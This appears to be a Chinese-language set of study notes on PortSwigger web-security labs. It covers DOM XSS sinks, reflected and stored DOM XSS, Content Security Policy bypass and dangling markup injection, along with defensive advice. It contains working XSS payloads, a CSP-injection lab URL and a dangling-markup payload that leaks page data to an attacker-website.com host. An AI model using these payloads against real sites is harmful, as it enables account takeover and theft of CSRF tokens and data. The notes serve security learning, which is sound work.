原则上,如果有一个可执行路径,数据可以通过该路径从源传播到接收器,那么网站就容易受到基于 DOM 的跨站点脚本的攻击。在实践中,不同的源和接收器具有不同的属性和行为,这些属性和行为会影响可利用性,并确定需要哪些技术。此外,网站的脚本可能会对尝试利用漏洞时必须适应的数据执行验证或其他处理。有多种与基于 DOM 的漏洞相关的接收器。详情请参阅以下列表。
接收document.write
器与script
元素一起工作,因此您可以使用简单的有效负载,如下所示:
document.write('... <script>alert(document.domain)</script> ...');
LAB:document.write使用源的接收器中的DOM XSS location.search
abc123也在img标签的src属性里面
但是请注意,在某些情况下,写入的内容document.write
包括一些在利用时需要考虑的周围环境。例如,可能需要在使用 JavaScript 负载之前关闭一些现有元素。
LAB:在选择元素内document.write使用源的接收器中的DOM XSS location.search
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>
该innerHTML
接收器不接受script
任何现代的浏览器元素,也不会对svg onload
事件触发。这意味着需要使用替代元素,例如img
或iframe
。诸如onload
和 之类的事件处理程序onerror
可以与这些元素结合使用。例如:
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'
LAB:innerHTML使用源的接收器中的DOM XSS location.search
由上图知,It uses an innerHTML
assignment, which changes the HTML contents of a div
element, using data from location.search
.
如果正在使用 JavaScript 库(例如 jQuery),请注意可以更改页面上的 DOM 元素的接收器。例如,attr()
jQuery 中的函数可以更改 DOM 元素的属性。如果从用户控制的源(如 URL)读取数据attr()
,然后将其传递给函数,则可能操纵发送的值导致 XSS。例如,这里我们有一些 JavaScript,它href
使用来自 URL 的数据更改锚元素的属性:
$(function(){$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));});
可以通过修改 URL 使location.search
源包含恶意 JavaScript URL来利用此漏洞。在页面的 JavaScript 将此恶意 URL 应用于反向链接后href
,单击反向链接将执行它:
?returnUrl=javascript:alert(document.domain)
LAB:herf使用location.search源的JQuery锚属性接收器中的DOM XSS
如果使用像AngularJS这样的框架,则可以在没有尖括号或事件的情况下执行 JavaScript。当站点ng-app
在 HTML 元素上使用该属性时,它将由 AngularJS 处理。在这种情况下,AngularJS 将在双花括号内执行 JavaScript,这可以直接出现在 HTML 或属性内
LAB:带有尖括号和双引号的AngularJS表达式中的DOM XSS HTML编码
AngularJS环境的实验室打开失败
DOM XSS结合反射和存储数据
一些纯基于 DOM 的漏洞在单个页面中是自包含的。如果脚本从 URL 读取一些数据并将其写入危险的接收器,则该漏洞完全是客户端。
但是,来源不仅限于浏览器直接公开的数据——它们也可以来自网站。例如,网站通常会在来自服务器的 HTML 响应中反映 URL 参数。这通常与正常的 XSS 相关,但它也可能导致所谓的反射 + DOM 漏洞。
在一个反射+DOM 漏洞中,服务器处理来自请求的数据,并将数据回显到响应中。反射的数据可能会放入 JavaScript 字符串文字或 DOM 中的数据项中,例如表单字段。然后页面上的脚本以不安全的方式处理反射数据,最终将其写入危险的接收器。
eval('var data = "reflected string"');
LAB:反射DOM XSS
当服务器端应用程序处理来自请求的数据并在响应中回显数据时,就会出现反射 DOM 漏洞。然后页面上的脚本以不安全的方式处理反射数据,最终将其写入危险的接收器
引号被转义,反斜杠未被转义
网站也可能将数据存储在服务器上并在其他地方反映。在存储+DOM 漏洞中,服务器从一个请求接收数据,将其存储,然后将数据包含在稍后的响应中。稍后响应中的脚本包含一个接收器,然后以不安全的方式处理数据。
element.innerHTML = comment.author
LAB:存储DOM XSS
该网站对尖括号进行了编码,但是,当第一个参数是字符串时,该函数仅替换第一次出现。我们通过在注释的开头简单地包含一组额外的尖括号来利用此漏洞。这些尖括号将被编码,但任何后续尖括号将不受影响,使我们能够有效地绕过过滤器并注入 HTML。
<><img src=1 onerror=alert(1)>
哪些接收器会导致DOX-XSS漏洞?
以下是一些可能导致 DOM-XSS 漏洞的主要接收器:
document.write()
document.writeln()
document.domaine
lement.innerHTMLe
lement.outerHTMLe
lement.insertAdjacentHTMLe
lement.onevent
基于DOM的漏洞 | 示例水槽 |
---|---|
DOM XSS 实验室 | document.write() |
打开重定向 实验室 | window.location |
Cookie 操作 实验室 | document.cookie |
JavaScript 注入 | eval() |
文档域操作 | document.domain |
WebSocket-URL 中毒 | WebSocket() |
链接操作 | element.src |
网页消息操作 | postMessage() |
Ajax 请求头操作 | setRequestHeader() |
本地文件路径操作 | FileReader.readAsText() |
客户端 SQL 注入 | ExecuteSql() |
HTML5-存储操作 | sessionStorage.setItem() |
客户端 XPath 注入 | document.evaluate() |
客户端 JSON 注入 | JSON.parse() |
DOM 数据操作 | element.setAttribute() |
拒绝服务 | RegExp() |
以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的接收器:
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
如然防止DOM-XSS漏洞?
应避免允许将来自任何不受信任来源的数据动态写入 HTML 文档。
XSS可以用来做什么?
利用跨站点脚本漏洞的攻击者通常能够:
- 冒充或伪装成受害者用户。
- 执行用户能够执行的任何操作。
- 读取用户能够访问的任何数据。
- 捕获用户的登录凭据。
- 对网站进行虚拟篡改。
- 将特洛伊木马功能注入网站。
XSS漏洞的影响
XSS 攻击的实际影响通常取决于应用程序的性质、其功能和数据,以及受感染用户的状态。例如:
- 在宣传册应用程序中,所有用户都是匿名的,所有信息都是公开的,影响通常很小。
- 在保存敏感数据(例如银行交易、电子邮件或医疗记录)的应用程序中,影响通常会很严重。
- 如果受感染用户在应用程序中具有提升的权限,那么影响通常很严重,允许攻击者完全控制易受攻击的应用程序并危害所有用户及其数据。
如何查找和测试XSS漏洞?
使用 Burp Suite 的Web 漏洞扫描器可以快速可靠地找到绝大多数 XSS 漏洞。
手动测试反射和存储的 XSS 通常涉及向应用程序的每个入口点提交一些简单的唯一输入(例如短的字母数字字符串),识别在 HTTP 响应中返回提交输入的每个位置,并单独测试每个位置以确定适当制作的输入是否可用于执行任意 JavaScript。通过这种方式,您可以确定XSS 发生的上下文并选择合适的负载来利用它。
手动测试由 URL 参数引起的基于 DOM 的 XSS 涉及类似的过程:在参数中放置一些简单的唯一输入,使用浏览器的开发人员工具在 DOM 中搜索此输入,并测试每个位置以确定它是否可利用。但是,其他类型的 DOM XSS 更难检测。要在非基于 URL 的输入(例如)或非基于 HTML 的接收器(例如)中查找基于 DOM 的漏洞,没有替代检查 JavaScript 代码的方法,这可能非常耗时。Burp Suite 的 Web 漏洞扫描器结合了 JavaScript 的静态和动态分析,可以可靠地自动检测基于 DOM 的漏洞。 document.cookie``setTimeout
内容安全策略
内容安全策略 ( CSP ) 是一种浏览器机制,旨在减轻跨站点脚本和其他一些漏洞的影响。它的工作原理是限制页面可以加载的资源(例如脚本和图像)并限制页面是否可以被其他页面框架化。要启用 CSP,响应需要包含一个 HTTP 响应标头Content-Security-Policy
,该标头使用包含策略的值调用。策略本身由一个或多个指令组成,用分号分隔。
如果使用 CSP 的应用程序包含类似 XSS 的行为,则 CSP 可能会阻碍或阻止对该漏洞的利用。通常,可以绕过 CSP 以利用底层漏洞
使用CSP缓解XSS攻击
script-src 'self'
以下指令将只允许从特定域加载脚本:
script-src https://scripts.normal-website.com
允许来自外部域的脚本时应小心。如果攻击者有任何方法可以控制从外部域提供的内容,那么他们就有可能发起攻击。例如,ajax.googleapis.com
不应信任不使用每个客户 URL(例如 )的内容交付网络 (CDN) ,因为第三方可以将内容放到他们的域中。
除了将特定域列入白名单之外,内容安全策略还提供了另外两种指定可信资源的方式:随机数和哈希值:
- CSP 指令可以指定一个随机数(一个随机值),并且必须在加载脚本的标签中使用相同的值。如果值不匹配,则脚本将不会执行。为了作为一种有效的控制,随机数必须在每次页面加载时安全地生成,并且不能被攻击者猜到。
- CSP 指令可以指定可信脚本内容的散列。如果实际脚本的哈希值与指令中指定的值不匹配,则脚本将不会执行。如果脚本的内容发生变化,那么您当然需要更新指令中指定的哈希值。
CSP 阻止资源(如script
. 但是,许多 CSP 确实允许图像请求。这意味着您可以经常使用img
元素向外部服务器发出请求,以便公开CSRF 令牌,例如。
某些浏览器(例如 Chrome)具有内置的悬挂标记缓解功能,可阻止包含某些字符(例如原始、未编码的新行或尖括号)的请求。在下一个实验中,就需要绕过这些 Chrome 限制并使用不同的元素和属性发出外部请求。
LAB:受CSP保护的反射型XSS,带有悬空标记攻击
窃取CSRF令牌:paqVPM3Txj1Rg97bMtuLpKiryf4aj1aX,在CSRF POC中替换、点击Regenerate
一些策略更具限制性,可防止所有形式的外部请求。但是,仍然可以通过引发一些用户交互来绕过这些限制。要绕过这种形式的策略,就需要注入一个 HTML 元素,单击该元素后,该元素将存储被注入元素包含的所有内容并将其发送到外部服务器
LAB2: 由非常严格的CSP保护的反射型XSS,带有悬空标记攻击
缺
使用CSP缓解悬空标记攻击
以下指令将只允许从与页面本身相同的来源加载图像:
img-src 'self'
以下指令将只允许从特定域加载图像:
img-src https://images.normal-website.com
请注意,这些策略将防止一些悬空标记漏洞利用,因为在没有用户交互的情况下捕获数据的一种简单方法是使用img
标签。但是,它不会阻止其他漏洞利用,例如注入具有悬空href
属性的锚标记的漏洞利用。
通过策略注入绕过CSP
可能会遇到反映实际政策输入的网站,很可能是在report-uri
指令中。如果站点反映了可以控制的参数,就可以注入分号来添加自己的 CSP 指令。通常,该report-uri
指令是列表中的最后一个。这意味着需要覆盖现有指令才能利用此漏洞并绕过策略。
通常,不可能覆盖现有script-src
指令。但是,Chrome 最近引入了script-src-elem
指令,它允许控制script
元素,但不能控制事件。至关重要的是,这个新指令允许覆盖现有script-src
指令。使用这些知识,应该能够解决以下实验。
LAB:由CSP保护的反射型XSS,绕过CSP
未弹窗、CSP阻止脚本执行
观察响应包含一个Content-Security-Policy
标头,report-uri
指令包含一个名为token
. 因为可以控制token
参数,所以可以将自己的 CSP 指令注入到策略中
访问以下 URL,替换your-lab-id为的实验室 ID:
https://ac041f511e593269c07a0e4300150062.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
注入使用script-src-elemCSP 中的指令。该指令允许仅针对script元素。使用此指令,可以覆盖现有script-src规则,使能够注入unsafe-inline,这允许您使用内联脚本
使用CSP防止点击劫持
以下指令将只允许页面被来自同一来源的其他页面框架:
frame-ancestors 'self'
以下指令将完全防止框架:
frame-ancestors 'none'
使用内容安全策略来防止点击劫持比使用 X-Frame-Options 标头更灵活,因为您可以指定多个域并使用通配符。例如:
frame-ancestors 'self' https://normal-website.com https://*.robust-website.com
CSP 还验证父框架层次结构中的每个框架,而X-Frame-Options
仅验证顶级框架。
建议使用 CSP 来防止点击劫持攻击。您还可以将其与X-Frame-Options
标头结合使用,以在不支持 CSP 的旧浏览器(例如 Internet Explorer)上提供保护。
悬空标记注入
悬空标记注入是一种技术,可用于在由于输入过滤器或其他防御而无法进行完整的跨站点脚本攻击的情况下捕获跨域数据。它通常可用于捕获其他用户可见的敏感信息,包括可用于代表用户执行未经授权的操作的 CSRF 令牌
什么是悬空标记注入?
悬空标记注入是一种在无法进行完整的跨站点脚本攻击的情况下捕获跨域数据的技术。
假设一个应用程序以一种不安全的方式将攻击者可控的数据嵌入到它的响应中:
<input type="text" name="input" value="CONTROLLABLE DATA HERE
还假设应用程序不过滤或转义>
或"
字符。攻击者可以使用以下语法打破引用的属性值和封闭标签,并返回到 HTML 上下文:
">
在这种情况下,攻击者自然会尝试执行XSS。但是假设由于输入过滤器、内容安全策略或其他障碍,常规 XSS 攻击是不可能的。在这里,仍然有可能使用如下所示的有效载荷进行悬空标记注入攻击:
"><img src='//attacker-website.com?
此有效负载创建一个img
标记并定义src
包含攻击者服务器上 URL的属性的开头。请注意,攻击者的有效载荷不会关闭该src
属性,该属性处于“悬空”状态。当浏览器解析响应时,它会向前看,直到遇到单引号终止属性。直到该字符为止的所有内容都将被视为 URL 的一部分,并将在 URL 查询字符串中发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将进行 URL 编码。
攻击的后果是攻击者可以在注入点之后捕获部分应用程序响应,其中可能包含敏感数据。根据应用程序的功能,这可能包括CSRF 令牌、电子邮件或财务数据。
任何发出外部请求的属性都可用于悬挂标记。要解决以下实验,请查找可以发出未被 Chrome 阻止的外部请求的属性和标签。
LAB:受CSP保护的反射型XSS,带有悬空标记攻击
缺
LAB:由非常严格的CSP保护的反射型XSS,带有悬空标记攻击
窃取CSRF令牌
<input required type="hidden" name="csrf" value="Zl4p99zzHu1y4jtISCCoSXwSujJ8ZDAP">
但是为什么email没有更改???
在bp中未 test in brows
如何防止悬空标记攻击
可以使用防止跨站点脚本相同的一般防御措施来防止悬空标记攻击,方法是对输出数据进行编码并在到达时验证输入。还可以使用内容安全策略(CSP)减轻一些悬空标记。例如:可以使用防止标签(例如img加载外部资源)的策略来防止某些(但不是全部)攻击。
Tips:
Chrome 浏览器已决定通过阻止诸如img定义包含尖括号和换行符等原始字符的 URL 之类的标签来解决悬空标记攻击。这将防止攻击,因为否则将被捕获的数据通常包含那些原始字符,因此攻击被阻止。
评论区